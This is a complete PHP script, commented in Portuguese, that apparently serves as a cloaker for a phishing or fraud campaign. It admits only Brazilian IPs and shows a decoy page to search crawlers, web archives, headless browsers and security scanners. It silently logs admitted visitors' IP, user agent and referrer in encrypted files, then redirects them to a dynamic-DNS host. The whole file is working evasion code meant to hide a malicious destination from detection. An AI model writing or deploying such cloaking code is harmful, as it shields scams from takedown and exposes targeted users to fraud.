<?php

// Configurações iniciais para evitar detecção
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Referrer-Policy: no-referrer');
ini_set('display_errors', 0);

// Verifica cookie de bloqueio
if (isset($_COOKIE['bot_block']) && $_COOKIE['bot_block'] === 'blocked') {
    http_response_code(403);
    echo file_get_contents('fake.html');
    exit;
}

// Função para verificar dispositivos móveis
function isMobileDevice($userAgent) {
    $userAgent = strtolower($userAgent);
    $mobileDevices = [
        'iphone', 'ipad', 'android', 'webos', 'blackberry', 'ipod', 'windows phone',
        'symbian', 'bada', 'opera mini', 'mobile', 'tablet', 'kindle', 'nexus', 'samsung'
    ];
    foreach ($mobileDevices as $device) {
        if (strpos($userAgent, $device) !== false) {
            return true;
        }
    }
    return false;
}

// Obtém data e hora ajustada (horário de Brasília)
function getAdjustedDateTime() {
    return gmdate("d-m-Y_H-i-s", time() - 3 * 3600);
}

// Cria e verifica diretório de logs com nome obfuscado
function ensureLogDirectoryExists() {
    $logDir = './data_5f4dcc3b5aa765d61d8327deb882cf99'; // md5('secret_salt')
    if (!is_dir($logDir)) {
        mkdir($logDir, 0755, true);
        file_put_contents($logDir . '/.htaccess', "Order deny,allow\nDeny from all");
    }
    return $logDir;
}

// Salva informações em log com criptografia
function logInfo($ip, $info) {
    $logDir = ensureLogDirectoryExists();
    $date = getAdjustedDateTime();
    $filename = $logDir . '/' . bin2hex(random_bytes(4)) . '_' . $date . '.dat';
    
    $key = 'kJ9pL2mN7qR4tU8wX1zY5aB3cD6eF0gH'; // 32 caracteres
    $iv = 'vP5nK8mJ2rQ9tW4x'; // 16 caracteres
    $encryptedInfo = base64_encode(openssl_encrypt($info, 'AES-256-CBC', $key, 0, $iv));
    
    if ($file = fopen($filename, 'a')) {
        fwrite($file, $encryptedInfo . PHP_EOL);
        fclose($file);
    } else {
        error_log("Erro ao salvar log: $filename");
    }
}

// Verifica se o IP é do Brasil com múltiplas APIs e cache
function isIPFromBrazil($ip) {
    $cacheFile = './cache/ip_' . md5($ip) . '.tmp';
    if (file_exists($cacheFile) && (time() - filemtime($cacheFile) < 86400)) {
        return (bool) file_get_contents($cacheFile);
    }

    $apis = [
        "http://www.geoplugin.net/json.gp?ip={$ip}",
        "http://ip-api.com/json/{$ip}",
        "https://ipinfo.io/{$ip}/json"
    ];
    
    foreach ($apis as $url) {
        $response = @file_get_contents($url, false, stream_context_create([
            'http' => ['timeout' => 2]
        ]));
        if ($response !== false) {
            $data = json_decode($response, true);
            $countryCode = $data['geoplugin_countryCode'] ?? $data['countryCode'] ?? $data['country'] ?? null;
            if ($countryCode === 'BR') {
                file_put_contents($cacheFile, '1');
                return true;
            }
        }
    }
    
    file_put_contents($cacheFile, '0');
    return false;
}

// Verifica bots perigosos
function isBot($userAgent) {
    $userAgent = strtolower($userAgent);
    $dangerousBots = [
        'googlebot', 'bingbot', 'yandexbot', 'baiduspider', 'sogou', 'exabot',
        'ahrefsbot', 'semrushbot', 'mj12bot', 'dotbot', 'linkchecker',
        'facebookexternalhit', 'twitterbot', 'slackbot',
        'wget', 'curl', 'python-requests', 'scrapy', 'httpclient', 'java/',
        'archive.org_bot', 'wayback', 'headlesschrome', 'phantomjs',
        'cyberscan', 'nmap', 'masscan', 'zgrab', 'shodan'
    ];
    
    foreach ($dangerousBots as $bot) {
        if (strpos($userAgent, $bot) !== false) {
            return true;
        }
    }
    
    return empty($userAgent) || 
           strlen($userAgent) < 15 || 
           !preg_match('/(mozilla|chrome|safari|edge|firefox|opera)/i', $userAgent) || 
           isset($_SERVER['HTTP_X_PURPOSE']) || 
           $_SERVER['REQUEST_METHOD'] !== 'GET';
}

// Dados do visitante
$ip = $_SERVER['REMOTE_ADDR'];
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$tipo = isset($_POST['tipo']) ? htmlspecialchars($_POST['tipo'], ENT_QUOTES, 'UTF-8') : 'N/A';
$infoSalva = "Tipo: $tipo\nIP: $ip\nUA: $userAgent\nTime: " . getAdjustedDateTime() . "\nReferrer: " . ($_SERVER['HTTP_REFERER'] ?? 'N/A');

// Verificação principal
if (!isIPFromBrazil($ip)) {
    http_response_code(403);
    echo "<h1>403 - Acesso Proibido</h1><p>Apenas IPs do Brasil são permitidos.</p>";
    exit;
}

if (isBot($userAgent)) {
    http_response_code(403);
    echo file_get_contents('fake.html');
    exit;
}

// Usuário válido: registra e redireciona
logInfo($ip, $infoSalva);
$redirectUrl = 'https://nossoacesso.dynv6.net/';
header("Location: $redirectUrl", true, 302);
exit;

?>